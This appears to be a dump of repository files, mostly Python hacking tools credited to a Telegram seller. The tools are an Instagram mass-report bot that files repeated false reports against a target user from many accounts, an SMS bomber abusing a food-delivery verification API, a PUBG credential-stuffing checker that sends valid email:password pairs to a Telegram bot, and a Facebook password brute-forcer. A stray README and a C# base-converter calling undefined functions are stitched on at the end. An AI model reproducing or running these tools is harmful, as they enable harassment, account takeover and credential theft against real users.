csrf_token = cookie_jar['csrftoken']
except:
csrf_token = cookie
try:
if 'userId' in login.text:
r.headers.update({'X-CSRFToken': cookies['csrftoken']})
print(G+'[-] Login Done'+Style.RESET_ALL)
pass
else:
print(R+'[-] Login Failed'+Style.RESET_ALL)
sleep(2)
exit()
except:
try:
if json_login["message"]=="checkpoint_required":
Secure()
except KeyError:
try:
if json_login["message"]=="checkpoint_required":
Secure()
except:
print(R+'[-] Login Failed'+Style.RESET_ALL)
sleep(2)
exit()
#########################################################
TA = input(Y+'[+] Enter User Target : ')
SL = int(input('[+] Enter Sleep : '))
R1 = int(input('[+] Enter Count of spam : '))
R2 = int(input('[+] Enter Count of Harassment : '))
R3 = int(input('[+] Enter Count of Sale drugs : '))
R4 = int(input('[+] Enter Count of Violence : '))
R5 = int(input('[+] Enter Count of Nudity : '))
R6 = int(input('[+] Enter Count of Hate : '))
R7 = int(input('[+] Enter Count of Self injury : '))
R8 = int(input('[+] Enter Count of Me : '))
print(Style.RESET_ALL)
#########################################################
url_id = 'https://www.instagram.com/{}/?__a=1'.format(TA)
req = r.get(url_id).json()
idd = str(req['logging_page_id'])
TA_ID = idd.split('_')[1]
for i in range(R1):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'1','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
a +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(SL)
for i in range(R2):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'7','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
b +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(SL)
for i in range(R3):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'3','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
c +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(SL)
for i in range(R4):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'5','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
d +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(SL)
for i in range(R5):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'4','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
e +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(SL)
for i in range(R6):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'6','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
f +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(SL)
for i in range(R7):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'2','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
g +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(SL)
for i in range(R8):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'8','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
h +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(SL)
elif option == '2':
#########################################################
TA = input(Y+'[+] Enter User Target : ')
R1 = int(input('[+] Enter Count of spam : '))
R2 = int(input('[+] Enter Count of Harassment : '))
R3 = int(input('[+] Enter Count of Sale drugs : '))
R4 = int(input('[+] Enter Count of Violence : '))
R5 = int(input('[+] Enter Count of Nudity : '))
R6 = int(input('[+] Enter Count of Hate : '))
R7 = int(input('[+] Enter Count of Self injury : '))
R8 = int(input('[+] Enter Count of Me : '))
print(Style.RESET_ALL)
#########################################################
for x in open('Accounts.txt','r').read().splitlines():
username = x.split(":")[0]
password = x.split(":")[1]
url = 'https://www.instagram.com/accounts/login/ajax/'
headers = {
"user-agent":"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36",
'x-csrftoken': 'missing',
'mid': cookie
}
data = {
'username':f'{username}',
'enc_password': f'<PASSWORD>}',
'queryParams': '{}',
'optIntoOneTap': 'false'
}
print(Y+f'[-] {username}:{password}'+Style.RESET_ALL)
login = r.post(url, headers=headers, data=data)
json_login = json.loads(login.text)
cookies = login.cookies
cookie_jar = cookies.get_dict()
try:
csrf_token = cookie_jar['csrftoken']
except:
csrf_token = cookie
try:
if 'userId' in login.text:
r.headers.update({'X-CSRFToken': cookies['csrftoken']})
print(G+'[-] Login Done'+Style.RESET_ALL)
pass
else:
print(R+'[-] Login Failed'+Style.RESET_ALL)
sleep(2)
exit()
except:
try:
if json_login["message"]=="checkpoint_required":
Secure()
except KeyError:
try:
if json_login["message"]=="checkpoint_required":
Secure()
except:
print(R+'[-] Login Failed'+Style.RESET_ALL)
sleep(2)
exit()
url_id = 'https://www.instagram.com/{}/?__a=1'.format(TA)
req = r.get(url_id).json()
idd = str(req['logging_page_id'])
TA_ID = idd.split('_')[1]
for i in range(R1):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'1','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
a +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(0.5)
for i in range(R2):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'7','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
b +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(0.5)
for i in range(R3):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'3','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
c +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(0.5)
for i in range(R4):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'5','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
d +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(0.5)
for i in range(R5):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'4','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
e +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(0.5)
for i in range(R6):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'6','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
f +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(0.5)
for i in range(R7):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'2','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
g +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(0.5)
for i in range(R8):
url1 = 'https://www.instagram.com/users/{}/report/'.format(TA_ID)
data1 = {'source_name':'','reason_id':'8','frx_context':''}
report = r.post(url1,data=data1)
if '"status": "ok"' in report.text:
h +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
else:
z +=1
os.system('cls' if os.name == 'nt' else 'clear')
print(f'{banner}\n==============[Free By @Tarmay on Tele]===============\n[-] Spam : {a}\n[-] Harassment : {b}\n[-] Sale Drugs : {c}\n[-] Violence : {d}\n[-] Nudity : {e}\n[-] Hate : {f}\n[-] Self injury : {g}\n[-] Me : {h}\n[-] Error : {z}')
sleep(0.5)
url_out = 'https://www.instagram.com/accounts/logout/ajax/'
data_out = {
'one_tap_app_login': '0'
}
hed_out = {
"user-agent":"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36",
'x-csrftoken': csrf_token,
'mid': cookie
}
sleep(2)
logout = r.post(url_out, headers=hed_out, data=data_out)
if logout.status_code == 200:
pass
else:
print(R+f'[!] Error In logout from [{username}:{passwors}]'+Style.RESET_ALL)<file_sep>import os, sys, json, requests, time
class Bala:
def __init__(self):
self.u="https://hungerstation.com/api/v2/verification/register"
self.h="https://hungerstation.com/api/v2/verification/resend_call"
self.unum()
def unum(self):
nom=input("spam snap chatt number : ")
jum=int(input("JUST NUMBER : "))
for i in range(jum):
res=self.send(nom)
if 'message' in res:
print(f"{i+1}. Good Send ")
else:
print(f"{i+1}. Failed\n")
time.sleep(1)
def send(self,nom):
ata={"device_type":"2","device_uid":"834AF4E6-38BB-4C0D-BB2C-4A485732E114","mobile":"+966"+nom,"notification_token":"<KEY>"}
head={
'Host':'hungerstation.com',
'ADJUST-ID': '4ffb0ee842da660ea140dae0771e7e26',
'DEVICE-UID': '834AF4E6-38BB-4C0D-BB2C-4A485732E114',
'Accept': '*/*',
'App-Version': '534',
'Authorization':'' ,
'Accept-Language': 'ar',
'Accept-Encoding': 'gzip, deflate',
'If-None-Match': 'W/"ca6ba006f61f4e668aa8b275c12a9b0d"',
'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8',
'Content-Length': '168',
'User-Agent': 'HungerStation/534 iPhone/9,3 iOS/14.4.1 CFNetwork/1220.1 Darwin/20.3.0',
'Connection': 'close',
'Cookie': '__cfduid=d9bcc6ee3259e660f34b401b81e12938d1618087084',}
req=requests.post(self.u,data=ata,headers=head)
req=requests.post(self.h,data=ata,headers=head)
return req.text
try:
os.system('clear')
print("""\033[1;37m
# SmFlo #
~ sms Hack Developer 0xfff0800
(Greetings to Hungerstation)
""")
Bala()
while True:
pil=input("Datwe Bardwam Be (y/n)?")
if pil.lower() == "y":
print()
Bala()
else:
sys.exit("Bzhy Taww ")
except Exception as Err:
print(f"Err: {Err}")<file_sep>import requests
import hashlib
import random
from time import sleep
import string
d = 0
print(f"""\x1b[32;1m
░█████╗░██╗░░██╗███████╗░█████╗░██╗░░██╗
██╔══██╗██║░░██║██╔════╝██╔══██╗██║░██╔╝
██║░░╚═╝███████║█████╗░░███████║█████═╝░
██║░░██╗██╔══██║██╔══╝░░██╔══██║██╔═██╗░
╚█████╔╝██║░░██║███████╗██║░░██║██║░╚██╗
░╚════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝╚═╝░░╚═╝
███╗░░██╗██╗░░░██╗███╗░░░███╗██████╗░██████╗░
████╗░██║██║░░░██║████╗░████║██╔══██╗██╔══██╗
██╔██╗██║██║░░░██║██╔████╔██║██████╦╝██████╔╝
██║╚████║██║░░░██║██║╚██╔╝██║██╔══██╗██╔══██╗
██║░╚███║╚██████╔╝██║░╚═╝░██║██████╦╝██║░░██║
╚═╝░░╚══╝░╚═════╝░╚═╝░░░░░╚═╝╚═════╝░╚═╝░░╚═╝
██╗░░░░░██╗███╗░░██╗██╗░░██╗
██║░░░░░██║████╗░██║██║░██╔╝
██║░░░░░██║██╔██╗██║█████═╝░
██║░░░░░██║██║╚████║██╔═██╗░
███████╗██║██║░╚███║██║░╚██╗
╚══════╝╚═╝╚═╝░░╚══╝╚═╝░░╚═╝
██████╗░██╗░░░██╗██████╗░░██████╗░
██╔══██╗██║░░░██║██╔══██╗██╔════╝░
██████╔╝██║░░░██║██████╦╝██║░░██╗░
██╔═══╝░██║░░░██║██╔══██╗██║░░╚██╗
██║░░░░░╚██████╔╝██████╦╝╚██████╔╝
╚═╝░░░░░░╚═════╝░╚═════╝░░╚═════╝░
\033[1;90m
______________________________________
\033[1;90m |\033[1;92m-1*\033[1;97mAuther \033[1;90m>>\033[1;91mTarmay_Rash \033[1;90m|
\033[1;90m |\033[1;92m-2*\033[1;97mName Chanel Telegram\033[1;90m>>\033[1;91mTermux_Kalili\033[1;90m|
\033[1;90m |\033[1;92m-3*\033[1;97mUser Name Auther \033[1;90m>>\033[1;91m@sell_pubg9 \033[1;90m|
\033[1;90m |\033[1;92m-4*\033[1;97mUser Name Chanel \033[1;90m>>\033[1;91m@darkweeb9 \033[1;90m|
\033[1;91m%%%%\033[1;90m|\033[1;92m-5*\033[1;97mThis tool Is Made \033[1;90m>>\033[1;91mTaramy_Rash \033[1;90m|\033[1;91m%%%%
\033[1;97m=\033[1;93m--\033[1;97m=\033[1;90m|\033[1;92m-6*\033[1;97mAll Tool Here \033[1;91mFB_ins_twe_pubg_li_r \033[1;90m|\033[1;97m=\033[1;93m--\033[1;97m=
\033[1;92m%%%%\033[1;90m|\033[1;92m-7*\033[1;97mDo You Have Buy \033[1;90m|\033[1;92m%%%%
\033[1;90m |\033[1;92m-8*\033[1;97m1Hafta \033[1;90m>>\033[1;91m10 fastpay and korek \033[1;90m|
\033[1;90m |\033[1;92m-9*\033[1;97m1Mang\033[1;90m>>\033[1;91m15Fastpay and korek \033[1;90m|
\033[1;90m |\033[1;92m-10*\033[1;97mHatahatya \033[1;90m>>\033[1;91mFastpay aned korek \033[1;90m|
\033[1;90m |______________________________________|
\033[1;90m |\033[1;92mBo Kreen \033[1;97m@sell_pubg9|
\033[1;90m |____________________|
""")
ID = input("Enter Your ID: ")
token = input("Enter Your Token: ")
combos = open("acc.txt", "r").read().splitlines()
for combo in combos:
try:
combo = combo.split(":")
except:
print("Invalid Combo")
exit()
user = combo[0]
passw = combo[1]
bruted_text = f""" 𓆩Pubg Checker𓆪
\n————————————————
E-mail: {user}
Pass: {<PASSWORD>}
Div ==> @darkweeb9 CH ==> @darkweeb9 ✓
————————————————\n"""
token11 = hashlib.md5(bytes(f'{passw}', encoding='utf-8')).hexdigest()
token22 = hashlib.md5(bytes(
"/account/login?account_plat_type=3&appid=dd921eb18d0c94b41ddc1a6313889627&lang_type=tr_TR&os=1{\"account\":\"" + user + "\",\"account_type\":2,\"area_code\":\"964\",\"extra_json\":\"\",\"password\":\"" + <PASSWORD> + "\"}<PASSWORD>",
encoding="utf-8")).hexdigest()
tokenpriv11 = ""
for i in range(6):
tokenpriv11 += "".join(random.choice(string.digits))
tokenpriv11 += "."
for i in range(3):
tokenpriv11 += "".join(random.choice(string.digits))
headers2 = {
"Content-Type": "application/json; charset=utf-8",
"User-Agent": f"Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G973N Build/PPR1.{tokenpriv11})",
"Host": "igame.msdkpass.com",
"Connection": "Keep-Alive",
"Accept-Encoding": "gzip, deflate",
"Content-Length": "122",
}
data2 = "{\"account\":\"" + user + "\",\"account_type\":2,\"area_code\":\"964\",\"extra_json\":\"\",\"password\":\"" + <PASSWORD> + "\"}"
r2 = requests.get(
f"https://igame.msdkpass.com/account/login?account_plat_type=3&appid=dd921eb18d0c94b41ddc1a6313889627&lang_type=tr_TR&os=1&sig={token22}",
data=data2, headers=headers2)
d += 1
if "token" in r2.text:
print(f"\x1b[32;1m[{d}]\x1b[32;1m [good]\x1b[37;1m {user}:{passw} ")
with open("PUBG_Available.txt", "a") as m:
m.write(bruted_text)
requests.get(
f'https://api.telegram.org/bot{token}/sendMessage?chat_id={ID}&text=⌯ 𓆩Pubg Checker𓆪\n𝖷𝗑----------𝗑---------------𝗑---------𝗑𝖷\n• ࿈ ( Eamil : {user}\n• ࿈ ( Pass : {passw}\n𝖷𝗑-----------𝗑---------------𝗑-----------𝗑𝖷\nDiv ==> @darkweeb9 CH ==> @darkweeb9✓')
elif '"msg":"Params Email is other format!"' in r2.text:
print(f"\x1b[31;1m[{d}]\x1b[31;1m [bad]\x1b[39;1m {user}:{passw} ")
elif '"msg":"Params Email Format is Error!"' in r2.text:
print(f"\x1b[31;1m[{d}]\x1b[31;1m [bad]\x1b[39;1m {user}:{passw} ")
elif '"msg":"the account does not exists!"' in r2.text:
print(f"\x1b[31;1m[{d}]\x1b[31;1m [bad]\x1b[39;1m {user}:{passw} ")
elif '"msg":"wrong password!"' in r2.text:
print(f"\x1b[31;1m[{d}]\x1b[31;1m [bad]\x1b[39;1m {user}:{passw} ")<file_sep>## fbbrute.py - Facebook Brute Force
# -*- coding: utf-8 -*-
##
import os
import sys
import urllib
import hashlib
API_SECRET = "<KEY>"
banner'''
\033[1;92m (
)
(
/\ .-***-. /\
//\\/ ,,, \//\\
|/\| ,;;;;;, |/\|
//\\\;-***-;///\\
// \/ . \/ \\
(| ,-_| \ | / |_-, |)
//`__\.-.-./__`\\
// /.-(() ())-.\ \\
(\ |) '---' (| /)
` (| |) `
\) (/
\033[1;91m+=======================================+
\033[1;91m|..........\033[1;97mBRUTE FORCE FB \033[1;96mv.1\033[1;91m.........|
\033[1;91m+---------------------------------------+
\033[1;91m|\033[1;93m#\033[1;97mAuthor: TARMAY_RASH > \033[1;91m |
\033[1;91m|\033[1;93m#\033[1;97mChanel Telgarm:Termux_Klailinux \033[1;91m |
\033[1;91m|\033[1;93m#\033[1;97mDate: 10:15:49p m 2021 \033[1;91m |
\033[1;91m|\033[1;93m#\033[1;97mThis tool is made for Tarmay Rash \033[1;91m |
\033[1;91m|\033[1;93m#\033[1;97mUser My T.me @sell_pubg9 \033[1;91m |
\033[1;91m|\033[1;93m#\033[1;97mUser My Chnel @darkweeb9 \033[1;91m |
\033[1;91m|\033[1;93m#\033[1;97mCoder By Tarmay ^_^ \033[1;91m |
\033[1;91m|\033[1;93m#\033[1;97mGawrtren Toolu Shaztren Toll Tnha Xom |
\033[1;91m|\033[1;93m#\033[1;97mAm Toola Taybaty Tarmaya \033[1;91m |
\033[1;91m+=======================================+
\033[1;91m|..........\033[1;97mBrute Force FB \033[1;96mv.1\033[1;91m.........|
\033[1;91m+---------------------------------------+
''')
print("[+] Facebook Brute Force\n")
userid = raw_input("[*] Enter [Email|Phone|Username|ID]: ")
try:
passlist = raw_input("[*] Set PATH to passlist: ")
if os.path.exists(passlist) != False:
print(__banner__)
print(" [+] Account to crack : {}".format(userid))
print(" [+] Loaded : {}".format(len(open(passlist,"r").read().split("\n"))))
print(" [+] Cracking, please wait ...")
for passwd in open(passlist,'r').readlines():
sys.stdout.write(u"\u001b[1000D[*] Trying {}".format(passwd.strip()))
sys.stdout.flush()
sig = "api_key=<KEY>redentials_type=passwordemail={}format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword={}return_ssl_resources=0v=1.0{}".format(userid,passwd.strip(),API_SECRET)
xx = hashlib.md5(sig).hexdigest()
data = "api_key=<KEY>&credentials_type=password&email={}&format=JSON&generate_machine_id=1&generate_session_cookies=1&locale=en_US&method=auth.login&password={}&return_ssl_resources=0&v=1.0&sig={}".format(userid,passwd.strip(),xx)
response = urllib.urlopen("https://api.facebook.com/restserver.php?{}".format(data)).read()
if "error" in response:
pass
else:
print("\n\n[+] Password found .. !!")
print("\n[+] Password : {}".format(passwd.strip()))
break
print("\n\n[!] Done .. !!")
else:
print("fbbrute: error: No such file or directory")
except KeyboardInterrupt:
print("fbbrute: error: Keyboard interrupt") | cfeed86ab14a2e3883c7476e31befdf69597dbf8 | [
"Python",
"Shell"
] | 7 | Shell | Ghafo/BNXT-M4168 | 141bd40f5259593e2484f82f7912a9837188c0ba | 9450294257bc36c24b27342f36eb9ea5c71286e9 |
refs/heads/master | <file_sep># Bazenr
Calc. de baze de nr.
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
int numar, baza, baza2, numarschimbat;
Console.WriteLine("Introdu numarul:");
numar = Convert.ToInt32(Console.ReadLine());
Console.WriteLine("In ce baza este numarul?:");
baza = Convert.ToInt32(Console.ReadLine());
Console.WriteLine("In ce baza doresti numarul?:");
baza2 = Convert.ToInt32(Console.ReadLine());
numarschimbat = din0in10(numar, baza);
Console.WriteLine("Numarul in baza 10 este: {0}", numarschimbat);
Console.WriteLine("Numarul in baza {0} este: {1}", baza2, din10in0(numarschimbat, baza2));
}
